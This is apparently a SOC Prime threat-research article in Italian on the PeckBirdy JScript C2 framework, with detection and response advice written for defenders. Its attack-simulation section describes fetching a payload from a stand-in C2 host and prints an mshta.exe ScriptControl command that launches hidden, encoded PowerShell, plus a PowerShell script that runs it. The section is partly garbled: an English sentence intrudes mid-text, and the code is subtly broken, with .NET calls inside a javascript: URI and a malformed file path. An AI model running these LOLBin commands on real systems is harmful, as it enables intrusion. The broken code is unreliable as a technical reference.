SOC Prime Bias: Critico

26 Jan 2026 19:08 UTC

PeckBirdy: Un Framework di Script Versatile per l’Esploitation dei LOLBins Usato da Gruppi di Minaccia Allineati alla Cina

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Segui
PeckBirdy: Un Framework di Script Versatile per l’Esploitation dei LOLBins Usato da Gruppi di Minaccia Allineati alla Cina
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Sommario

PeckBirdy è un framework di comando e controllo basato su JScript utilizzato da attori APT allineati alla Cina per abusare dei binari living-off-the-land e impiantare backdoor modulari, tra cui HOLODONUT e MKDOOR. È progettato per operare su più runtime—browser web, MSHTA, WScript, NodeJS e .NET—e supporta diverse opzioni di trasporto come WebSocket, Flash, Comet e HTTP. Il framework è stato osservato in campagne tracciate come SHADOW-VOID-044 e SHADOW-EARTH-045, che hanno preso di mira risorse di gioco online, portali web governativi asiatici e un’organizzazione del settore educativo.

Indagine

I ricercatori hanno segnalato iniezioni di script malevoli su siti di gioco compromessi e pagine governative che hanno scaricato il caricatore PeckBirdy, che ha poi recuperato payload di follow-on—tra cui un exploit di Chrome (CVE-2020-16040) e componenti aggiuntivi di backdoor. L’attività è stata collegata a due impianti modulari, HOLODONUT e MKDOOR, e connessa a gruppi osservati precedentemente e modelli di infrastruttura. L’analisi ha anche catalogato indicatori di compromissione, inclusi indirizzi IP, domini e dettagli operativi come l’uso di certificati di firma del codice rubati.

Mitigazione

Blocca i domini e indirizzi IP malevoli identificati, e monitora l’uso atipico dei LOLBin e l’esecuzione di script tramite MSHTA, WScript, e NodeJS. Rileva la creazione del unique_id file in %TEMP% e applica la validazione rigorosa dei certificati di firma del codice. La copertura per payload di Cobalt Strike conosciuti e assembly .NET generati da Donut può ulteriormente ridurre l’esposizione.

Risposta

Se rilevato, isola i sistemi interessati, raccogli lo script iniettato e qualsiasi codice binario di backdoor prodotto, e blocca l’infrastruttura C2 associata. Effettua una triage forense per il movimento laterale e aggiorna la logica di rilevamento per gli artefatti della riga di comando osservati e i modelli di traffico di rete.

Flusso di Attacco

Esecuzione Simulazione

Prerequisito: Il controllo pre-volo di Telemetria & Baseline deve essere superato.

Razionale: Questa sezione dettaglia l’esecuzione precisa della tecnica dell’avversario (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente i TTP identificati e mirare a generare la telemetria esatta aspettata dalla logica di rilevamento.

  • Narrativa & Comandi di Attacco:
    L’avversario desidera stabilire un canale di controllo remoto utilizzando il framework di script PeckBirdy. Sceglie script framework. They choose mshta.exe perché è un binario firmato di Windows che bypassa la maggior parte delle liste bianche delle applicazioni. Il payload incorpora un oggetto ScriptControl ActiveX per eseguire codice JScript recuperato da un server C2. I passaggi sono:

    1. Scaricare il payload JScript malevolo dal C2 (ad esempio, http://malicious.c2/payload.js).
    2. Lanciare mshta.exe con un URI javascript: inline che crea un oggetto ScriptControl ActiveX istanza, carica lo script scaricato, e lo esegue.
    3. Il codice JScript stabilisce un listener TCP inverso, completando il piede nella porta.

    La linea di comando esatta che produce la telemetria è:

    mshta.exe "javascript:var sc=new ActiveXObject('ScriptControl');sc.Language='JScript';sc.AddCode('var s=new ActiveXObject("WScript.Shell");s.Run("powershell -nop -w hidden -EncodedCommand ...");');void(0)"

    Questo comando contiene sia mshta.exe che la stringa oggetto ScriptControl ActiveX, soddisfacendo la condizione Sigma.

  • Script di Test di Regressione:
    Lo script sotto automatizza l’invocazione malevola di mshta . Può essere eseguito su una postazione di lavoro di test sotto un account amministrativo.

    #-------------------------------------------------
    # Esecuzione PeckBirdy via mshta + ScriptControl
    #-------------------------------------------------
    $c2Url   = "http://malicious.c2/payload.js"
    $jsCode  = @"
    var sc = new ActiveXObject('ScriptControl');
    sc.Language = 'JScript';
    // Beacon semplice - sostituire con payload reale
    sc.AddCode('var s = new ActiveXObject("WScript.Shell"); s.Run("cmd /c echo Compromesso > C:temppwned.txt");');
    "@
    
    # Codifica il payload JScript per evitare problemi di interruzione di riga
    $encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($jsCode))
    
    $mshtaCmd = "javascript:var sc=new ActiveXObject('ScriptControl');sc.Language='JScript';sc.AddCode([System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('$encoded')));void(0)"
    
    Write-Host "[*] Avviando mshta malevolo..."
    Start-Process -FilePath "mshta.exe" -ArgumentList $mshtaCmd -NoNewWindow
  • Comandi di Pulizia:
    Rimuovere qualsiasi artefatto creato dal test (ad esempio, il file temporaneo).

    #-------------------------------------------------
    # Pulizia dopo simulazione PeckBirdy
    #-------------------------------------------------
    Write-Host "[*] Pulendo artefatti di test..."
    Remove-Item -Path "C:temppwned.txt" -ErrorAction SilentlyContinue
    # Ferma qualsiasi processo mshta rimasto avviato dal test
    Get-Process -Name mshta -ErrorAction SilentlyContinue | Stop-Process -Force